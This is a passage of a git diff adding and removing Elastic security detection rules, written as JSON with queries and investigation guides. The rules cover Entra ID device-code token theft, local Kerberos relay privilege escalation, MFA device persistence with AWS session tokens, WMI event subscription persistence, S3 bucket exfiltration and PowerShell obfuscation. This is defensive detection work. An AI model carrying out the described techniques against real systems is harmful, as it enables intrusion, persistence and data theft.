case(azure.signinlogs.properties.app_id == \"aebc6443-996d-45c2-90f0-388ff96faa56\" and azure.signinlogs.properties.resource_display_name == \"Microsoft Graph\", azure.signinlogs.identity, null),\n// Other sign-in events\n other = case(azure.signinlogs.properties.authentication_protocol != \"deviceCode\" and azure.signinlogs.properties.app_id != \"aebc6443-996d-45c2-90f0-388ff96faa56\", azure.signinlogs.identity, null)\n| stats total = COUNT(*), device_code_count = COUNT_DISTINCT(device_code), vsc = count_distinct(visual_studio), other_count = COUNT_DISTINCT(other), src_ip = COUNT_DISTINCT(source.ip), ips = values(source.ip), clients = values(azure.signinlogs.properties.app_display_name), resources = VALUES(azure.signinlogs.properties.resource_display_name), auth_requirement = VALUES(azure.signinlogs.properties.authentication_requirement) by azure.signinlogs.identity\n// 2 unique source.ip for same account - which may indicate the presence 2 sign-ins one by the adversary and the other by the victim\n| where src_ip >= 2 and (device_code_count > 0 or vsc >0)\n", - "references": [ - "https://learn.microsoft.com/en-us/entra/identity/", - "https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins", - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema", - "https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/" - ], - "risk_score": 73, - "rule_id": "e3bd85e9-7aff-46eb-b60e-20dfc9020d98", - "setup": "#### Required Azure Entra Sign-In Logs\nThis rule requires the Azure logs integration be enabled and configured to collect all logs, including sign-in logs from Entra. In Entra, sign-in logs must be enabled and streaming to the Event Hub used for the Azure logs integration.\n", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Domain: SaaS", - "Data Source: Azure", - "Data Source: Entra ID", - "Data Source: Entra ID Sign-in", - "Use Case: Identity and Access Audit", - "Use Case: Threat Detection", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1528", - "name": "Steal Application Access Token", - "reference": "https://attack.mitre.org/techniques/T1528/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "e3bd85e9-7aff-46eb-b60e-20dfc9020d98_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e4e31051-ee01-4307-a6ee-b21b186958f4_212.json b/packages/security_detection_engine/kibana/security_rule/e4e31051-ee01-4307-a6ee-b21b186958f4_212.json new file mode 100644 index 00000000000..e9557203d45 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e4e31051-ee01-4307-a6ee-b21b186958f4_212.json @@ -0,0 +1,149 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, followed by a sevice creation from the same LogonId. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined user to local System privileges.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Service Creation via Local Kerberos Authentication", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Service Creation via Local Kerberos Authentication\n\nKerberos is a network authentication protocol designed to provide strong authentication for client/server applications. In Windows environments, it is often used for secure identity verification. Adversaries may exploit Kerberos by relaying authentication tickets locally to escalate privileges, potentially creating services with elevated rights. The detection rule identifies suspicious local logons using Kerberos, followed by service creation, indicating possible misuse. By monitoring specific logon events and service installations, it helps detect unauthorized privilege escalation attempts.\n\n### Possible investigation steps\n\n- Review the event logs for the specific LogonId identified in the alert to gather details about the logon session, including the user account involved and the time of the logon event.\n- Examine the source IP address and port from the logon event to confirm it matches the localhost (127.0.0.1 or ::1) and determine if this aligns with expected behavior for the user or system.\n- Investigate the service creation event (event ID 4697) associated with the same LogonId to identify the service name, executable path, and any related command-line arguments to assess if it is legitimate or potentially malicious.\n- Check for any recent changes or anomalies in the system or user account, such as modifications to user privileges, group memberships, or recent software installations, that could indicate unauthorized activity.\n- Correlate the findings with other security alerts or logs from the same timeframe to identify any patterns or additional indicators of compromise that may suggest a broader attack or compromise.\n\n### False positive analysis\n\n- Routine administrative tasks may trigger the rule if administrators frequently log in locally using Kerberos and create services as part of their duties. To manage this, create exceptions for known administrative accounts or specific service creation activities that are part of regular maintenance.\n- Automated scripts or software updates that use Kerberos authentication and subsequently install or update services can also generate false positives. Identify these scripts or update processes and exclude their associated logon IDs from the rule.\n- Security software or monitoring tools that perform regular checks and use Kerberos for authentication might inadvertently trigger the rule. Review the behavior of these tools and whitelist their activities if they are verified as non-threatening.\n- In environments where localhost is used for testing or development purposes, developers might log in using Kerberos and create services. Consider excluding specific development machines or user accounts from the rule to prevent unnecessary alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation.\n- Terminate any suspicious services created during the incident to halt potential malicious activities.\n- Conduct a thorough review of the affected system's event logs, focusing on the specific LogonId and service creation events to identify the scope of the compromise.\n- Reset the credentials of the compromised user account and any other accounts that may have been accessed using the relayed Kerberos tickets.\n- Apply patches and updates to the affected system and any other systems in the network to address known vulnerabilities that could be exploited in similar attacks.\n- Implement network segmentation to limit the ability of attackers to move laterally within the network, reducing the risk of privilege escalation.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken.", + "query": "sequence by winlog.computer_name with maxspan=5m\n [authentication where host.os.type == \"windows\" and\n\n /* event 4624 need to be logged */\n event.action == \"logged-in\" and event.outcome == \"success\" and winlog.event_data.ElevatedToken == \"%%1843\" and process.pid == 0 and \n\n /* authenticate locally using relayed kerberos Ticket */\n winlog.event_data.AuthenticationPackageName :\"Kerberos\" and winlog.logon.type == \"Network\" and cidrmatch(source.ip, \"127.0.0.0/8\", \"::1\")] by winlog.event_data.TargetLogonId\n\n [any where host.os.type == \"windows\" and\n /* event 4697 need to be logged */\n event.action : \"service-installed\"] by winlog.event_data.SubjectLogonId\n", + "references": [ + "https://github.com/Dec0ne/KrbRelayUp", + "https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html", + "https://github.com/cube0x0/KrbRelay", + "https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.pid", + "type": "long" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": false, + "name": "winlog.computer_name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AuthenticationPackageName", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.ElevatedToken", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectLogonId", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.TargetLogonId", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.logon.type", + "type": "unknown" + } + ], + "risk_score": 73, + "rule_id": "e4e31051-ee01-4307-a6ee-b21b186958f4", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Tactic: Credential Access", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1543", + "name": "Create or Modify System Process", + "reference": "https://attack.mitre.org/techniques/T1543/", + "subtechnique": [ + { + "id": "T1543.003", + "name": "Windows Service", + "reference": "https://attack.mitre.org/techniques/T1543/003/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1558", + "name": "Steal or Forge Kerberos Tickets", + "reference": "https://attack.mitre.org/techniques/T1558/" + } + ] + } + ], + "type": "eql", + "version": 212 + }, + "id": "e4e31051-ee01-4307-a6ee-b21b186958f4_212", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e4feea34-3b62-4c83-b77f-018fbef48c00_3.json b/packages/security_detection_engine/kibana/security_rule/e4feea34-3b62-4c83-b77f-018fbef48c00_3.json new file mode 100644 index 00000000000..3fe30a97865 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e4feea34-3b62-4c83-b77f-018fbef48c00_3.json @@ -0,0 +1,129 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects attempts to create or enable a Virtual MFA device (CreateVirtualMFADevice, EnableMFADevice) using temporary AWS credentials (access keys beginning with ASIA). Session credentials are short-lived and tied to existing authenticated sessions, so using them to register or enable MFA devices is unusual. Adversaries who compromise temporary credentials may abuse this behavior to establish persistence by attaching new MFA devices to maintain access to high-privilege accounts despite key rotation or password resets.", + "false_positives": [ + "Some legitimate administrative workflows or CI/CD automation pipelines may temporarily configure or re-enable MFA devices using session-based credentials. Validate the calling identity\u2019s purpose, source IP, and user agent to confirm whether this activity was authorized. Additionally, when a user creates or enables a Virtual MFA device through the AWS Management Console, the underlying CloudTrail event will also show a temporary credential (access key ID beginning with ASIA), because the console itself issues short-lived STS session credentials for every logged-in user. These events are expected and should not be considered suspicious." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS IAM Virtual MFA Device Registration Attempt with Session Token", + "note": "## Triage and Analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and validated for accuracy and relevance. Always\n> tailor the steps to your organization's environment and operational context.\n\n### Investigating AWS IAM Virtual MFA Device Registration Attempt with Session Token\n\nTemporary credentials that start with the prefix `ASIA` are generated by the AWS Security Token Service (STS). These\nsession tokens are used for short-lived operations and should not be used to modify or register IAM\nauthentication mechanisms. This rule detects cases where an IAM user or role uses such temporary credentials to invoke either `CreateVirtualMFADevice` or `EnableMFADevice`.\n\n#### Possible investigation steps\n\n- **Identify the actor and session context**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine the identity and confirm the `ASIA` prefix. \n - If you ingest `event.original`, look for `sessionCredentialFromConsole: true` to determine if the temporary token is from a console login session (which uses temporary session tokens in the backend) rather than compromised session tokens.\n - Check `user_agent.original`, `source.ip`, and `cloud.region` to determine if this activity originated from an expected host, VPN, or location.\n - Cross-reference with prior activity by this identity\u2014especially `GetSessionToken`, `AssumeRole`, or `GetCallerIdentity` calls.\n\n- **Correlate related IAM events**\n - Search for subsequent or preceding calls to:\n - `EnableMFADevice` (after `CreateVirtualMFADevice`)\n - `DeactivateMFADevice` or `DeleteVirtualMFADevice`\n - `ListMFADevices`, `ListUsers`, or `UpdateLoginProfile`\n - Review whether new MFA devices were successfully enabled (`event.outcome:success`).\n\n- **Assess session scope and privileges**\n - Identify what IAM policies are attached to the user or role that issued this request. \n - If the temporary credentials were created via `AssumeRole` or `GetSessionToken`, check the originating principal\u2019s permissions.\n\n- **Investigate possible persistence**\n - Look for new MFA devices listed for privileged users (e.g., account root or admin roles). \n - Review login history for those accounts following the MFA change. \n\n### False positive analysis\n\n- **Legitimate Administrative or Automated Actions** \n Certain IAM administrative workflows or CI/CD automation tools may register or enable MFA devices using temporary\n session credentials. Confirm whether the calling principal is part of an authorized automation process or a known\n identity performing account configuration tasks.\n\n- **Expected Console Behavior** \n When users create or enable Virtual MFA devices through the **AWS Management Console**, AWS automatically issues\n temporary STS credentials (with access key IDs beginning with `ASIA`) for that session. As a result, these events will\n appear identical to programmatic usage of session tokens in CloudTrail logs. \n This is expected and does not indicate compromise.\n\n### Response and remediation\n\n- **Immediate containment**\n - Revoke or expire the temporary credentials (`aws sts revoke-session` if applicable). \n - Disable or delete any newly created virtual MFA devices using `DeleteVirtualMFADevice`. \n - Rotate passwords and long-term access keys for the associated IAM users.\n\n- **Investigation and scoping**\n - Review CloudTrail logs for related IAM modifications (`UpdateLoginProfile`, `AttachUserPolicy`, `CreateAccessKey`). \n - Identify any new API keys or tokens created after the MFA registration. \n - Cross-check whether the attacker leveraged the new MFA binding for session persistence or login.\n\n- **Recovery and hardening**\n - Enforce the `iam:EnableMFADevice` and `iam:CreateVirtualMFADevice` permissions only for trusted admin roles. \n - Implement `aws:MultiFactorAuthPresent` conditions in IAM policies. \n - Monitor for any future `ASIA` credential\u2013based IAM configuration changes.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **[Managing MFA Devices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html)** \n", + "query": "iam where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"iam.amazonaws.com\"\n and event.outcome == \"success\"\n and event.action in (\"CreateVirtualMFADevice\", \"EnableMFADevice\")\n and startsWith (aws.cloudtrail.user_identity.access_key_id, \"ASIA\")\n", + "references": [ + "https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.user_identity.access_key_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "e4feea34-3b62-4c83-b77f-018fbef48c00", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS CloudTrail", + "Data Source: AWS IAM", + "Tactic: Persistence", + "Use Case: Identity and Access Audit", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/", + "subtechnique": [ + { + "id": "T1098.005", + "name": "Device Registration", + "reference": "https://attack.mitre.org/techniques/T1098/005/" + } + ] + }, + { + "id": "T1556", + "name": "Modify Authentication Process", + "reference": "https://attack.mitre.org/techniques/T1556/", + "subtechnique": [ + { + "id": "T1556.006", + "name": "Multi-Factor Authentication", + "reference": "https://attack.mitre.org/techniques/T1556/006/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 3 + }, + "id": "e4feea34-3b62-4c83-b77f-018fbef48c00_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e72f87d0-a70e-4f8d-8443-a6407bc34643_311.json b/packages/security_detection_engine/kibana/security_rule/e72f87d0-a70e-4f8d-8443-a6407bc34643_311.json new file mode 100644 index 00000000000..c5118e69556 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/e72f87d0-a70e-4f8d-8443-a6407bc34643_311.json @@ -0,0 +1,116 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the creation of a WMI Event Subscription. Attackers can abuse this mechanism for persistence or to elevate to SYSTEM privileges.", + "from": "now-9m", + "index": [ + "winlogbeat-*", + "logs-windows.sysmon_operational-*", + "logs-endpoint.events.api-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Suspicious WMI Event Subscription Created", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Suspicious WMI Event Subscription Created\n\nWindows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. It allows for event subscriptions that can trigger actions based on system events. Adversaries exploit this for persistence by creating event subscriptions that execute malicious scripts or commands. The detection rule identifies such abuse by monitoring specific event codes and API calls related to the creation of suspicious WMI event consumers, flagging potential threats.\n\n### Possible investigation steps\n\n- Review the event logs for event code 21 in the windows.sysmon_operational dataset to identify the specific WMI event subscription created, focusing on the winlog.event_data.Operation and winlog.event_data.Consumer fields.\n- Examine the process details associated with the IWbemServices::PutInstance API call in the endpoint.events.api dataset, particularly the process.Ext.api.parameters.consumer_type, to determine the nature of the consumer created.\n- Investigate the source and context of the command or script associated with the CommandLineEventConsumer or ActiveScriptEventConsumer to assess its legitimacy and potential malicious intent.\n- Check for any related processes or activities around the time of the event to identify potential lateral movement or further persistence mechanisms.\n- Correlate the findings with other security alerts or logs to determine if this event is part of a broader attack pattern or campaign.\n\n### False positive analysis\n\n- Legitimate administrative scripts or tools may create WMI event subscriptions for system monitoring or automation. Review the source and context of the event to determine if it aligns with known administrative activities.\n- Software installations or updates might use WMI event subscriptions as part of their setup or configuration processes. Verify if the event coincides with recent software changes and consider excluding these specific events if they are routine.\n- Security software or management tools often use WMI for legitimate purposes. Identify and document these tools in your environment, and create exceptions for their known behaviors to reduce noise.\n- Scheduled tasks or system maintenance scripts may trigger similar events. Cross-reference with scheduled task logs or maintenance windows to confirm if these are expected activities.\n- Custom scripts developed in-house for system management might inadvertently match the detection criteria. Ensure these scripts are documented and consider excluding their specific signatures from the rule.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement.\n- Terminate any suspicious processes associated with the WMI event subscription, specifically those linked to CommandLineEventConsumer or ActiveScriptEventConsumer.\n- Remove the malicious WMI event subscription by using WMI management tools or scripts to delete the identified event consumer.\n- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats.\n- Review and reset any compromised credentials, especially if SYSTEM privileges were potentially accessed or escalated.\n- Monitor the network for any signs of similar activity or attempts to recreate the WMI event subscription, using enhanced logging and alerting mechanisms.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network.", + "query": "any where host.os.type == \"windows\" and\n (\n (event.dataset == \"windows.sysmon_operational\" and event.code == \"21\" and\n ?winlog.event_data.Operation : \"Created\" and ?winlog.event_data.Consumer : (\"*subscription:CommandLineEventConsumer*\", \"*subscription:ActiveScriptEventConsumer*\")) or\n\n (event.dataset == \"endpoint.events.api\" and event.provider == \"Microsoft-Windows-WMI-Activity\" and ?process.Ext.api.name == \"IWbemServices::PutInstance\" and\n ?process.Ext.api.parameters.consumer_type in (\"ActiveScriptEventConsumer\", \"CommandLineEventConsumer\"))\n )\n", + "references": [ + "https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf", + "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" + ], + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + }, + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "process.Ext.api.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "process.Ext.api.parameters.consumer_type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.Consumer", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.Operation", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "e72f87d0-a70e-4f8d-8443-a6407bc34643", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Data Source: Sysmon", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1546", + "name": "Event Triggered Execution", + "reference": "https://attack.mitre.org/techniques/T1546/", + "subtechnique": [ + { + "id": "T1546.003", + "name": "Windows Management Instrumentation Event Subscription", + "reference": "https://attack.mitre.org/techniques/T1546/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 311 + }, + "id": "e72f87d0-a70e-4f8d-8443-a6407bc34643_311", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e8c9ff14-fd1e-11ee-a0df-f661ea17fbce_3.json b/packages/security_detection_engine/kibana/security_rule/e8c9ff14-fd1e-11ee-a0df-f661ea17fbce_3.json deleted file mode 100644 index 6f09f2a4b0c..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/e8c9ff14-fd1e-11ee-a0df-f661ea17fbce_3.json +++ /dev/null @@ -1,98 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies an AWS S3 bucket policy change to share permissions with an external account. Adversaries may attempt to backdoor an S3 bucket by sharing it with an external account. This can be used to exfiltrate data or to provide access to other adversaries. This rule identifies changes to a bucket policy via the `PutBucketPolicy` API call where the policy includes an `Effect=Allow` statement that does not contain the AWS account ID of the bucket owner.", - "false_positives": [ - "Legitimate changes to share an S3 bucket with an external account may be identified as false positive but are not best practice." - ], - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "AWS S3 Bucket Policy Added to Share with External Account", - "note": "## Triage and analysis\n\n### Investigating AWS S3 Bucket Policy Added to Share with External Account\n\nThis rule detects when an AWS S3 bucket policy is changed to share permissions with an external account. Adversaries may attempt to backdoor an S3 bucket by sharing it with an external account to exfiltrate data or provide access to other adversaries. This rule identifies changes to a bucket policy via the `PutBucketPolicy` API call where the policy includes an `Effect=Allow` statement that does not contain the AWS account ID of the bucket owner.\n\n#### Possible Investigation Steps:\n\n- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Verify if this actor typically performs such actions and if they have the necessary permissions.\n- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific changes made to the bucket policy. Look for any unusual parameters that could suggest unauthorized or malicious modifications.\n- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access.\n- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the change occurred. Modifications during non-business hours or outside regular maintenance windows might require further scrutiny.\n- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in other potentially suspicious activities.\n\n### False Positive Analysis:\n\n- **Legitimate Administrative Actions**: Confirm if the bucket policy change aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems.\n- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm.\n- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the change was successful and intended according to policy.\n\n### Response and Remediation:\n\n- **Immediate Review and Reversal if Necessary**: If the change was unauthorized, update the bucket policy to remove any unauthorized permissions and restore it to its previous state.\n- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive data or permissions.\n- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning bucket policy management and sharing permissions.\n- **Audit Bucket Policies and Permissions**: Conduct a comprehensive audit of all bucket policies and associated permissions to ensure they adhere to the principle of least privilege.\n- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences.\n\n### Additional Information:\n\nFor further guidance on managing S3 bucket policies and securing AWS environments, refer to the [AWS S3 documentation](https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-cloudtrail-logging-for-s3.html) and AWS best practices for security.\n", - "query": "any where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"s3.amazonaws.com\"\n and event.action == \"PutBucketPolicy\" and event.outcome == \"success\"\n and stringContains(aws.cloudtrail.request_parameters, \"Effect=Allow\")\n and not stringContains(aws.cloudtrail.request_parameters, aws.cloudtrail.recipient_account_id)\n", - "references": [ - "https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.s3-backdoor-bucket-policy/", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketPolicy.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.recipient_account_id", - "type": "keyword" - }, - { - "ecs": false, - "name": "aws.cloudtrail.request_parameters", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "e8c9ff14-fd1e-11ee-a0df-f661ea17fbce", - "setup": "## Setup\n\nS3 data event types must be collected in the AWS CloudTrail logs. Please refer to [AWS documentation](https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-cloudtrail-logging-for-s3.html) for more information.\n", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS S3", - "Use Case: Threat Detection", - "Tactic: Exfiltration", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0010", - "name": "Exfiltration", - "reference": "https://attack.mitre.org/tactics/TA0010/" - }, - "technique": [ - { - "id": "T1537", - "name": "Transfer Data to Cloud Account", - "reference": "https://attack.mitre.org/techniques/T1537/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 3 - }, - "id": "e8c9ff14-fd1e-11ee-a0df-f661ea17fbce_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/e903ce9a-5ce6-4246-bb14-75ed3ec2edf5_4.json b/packages/security_detection_engine/kibana/security_rule/e903ce9a-5ce6-4246-bb14-75ed3ec2edf5_4.json deleted file mode 100644 index cd4ad145653..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/e903ce9a-5ce6-4246-bb14-75ed3ec2edf5_4.json +++ /dev/null @@ -1,81 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies PowerShell scripts that use string reordering and runtime reconstruction techniques as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential PowerShell Obfuscation via String Reordering", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via String Reordering\n\nPowerShell, a powerful scripting language in Windows environments, can be exploited by adversaries using obfuscation techniques like string reordering to evade detection. This involves rearranging strings and reconstructing them at runtime, bypassing static analysis and security measures. The detection rule identifies scripts with excessive length and specific patterns, flagging those with multiple occurrences of string format expressions, which are indicative of obfuscation attempts. By filtering out known benign patterns, it reduces false positives, focusing on genuine threats.\n\n### Possible investigation steps\n\n- Review the script block text by examining the powershell.file.script_block_text field to understand the nature of the obfuscation and identify any potentially malicious commands or patterns.\n- Check the file.path and file.name fields to determine the origin and context of the script, which can provide insights into whether the script is part of a legitimate application or a potential threat.\n- Investigate the host.name and user.id fields to identify the affected system and user, which can help in assessing the potential impact and scope of the incident.\n- Analyze the powershell.file.script_block_id and powershell.sequence fields to trace the execution sequence and history of the script, which may reveal additional suspicious activities or related scripts.\n- Correlate the alert with other security events or logs from the same host or user to identify any patterns or additional indicators of compromise that may suggest a broader attack campaign.\n\n### False positive analysis\n\n- Scripts related to the Icinga Framework may trigger false positives due to their use of string formatting. To handle this, ensure that the file name \"framework_cache.psm1\" is excluded from the detection rule.\n- PowerShell scripts that include specific sentinel patterns, such as \"sentinelbreakpoints\" or paths like \":::::\\windows\\sentinel\", combined with variables like \"$local:Bypassed\" or \"origPSExecutionPolicyPreference\", are known to be benign. These should be excluded to reduce noise.\n- 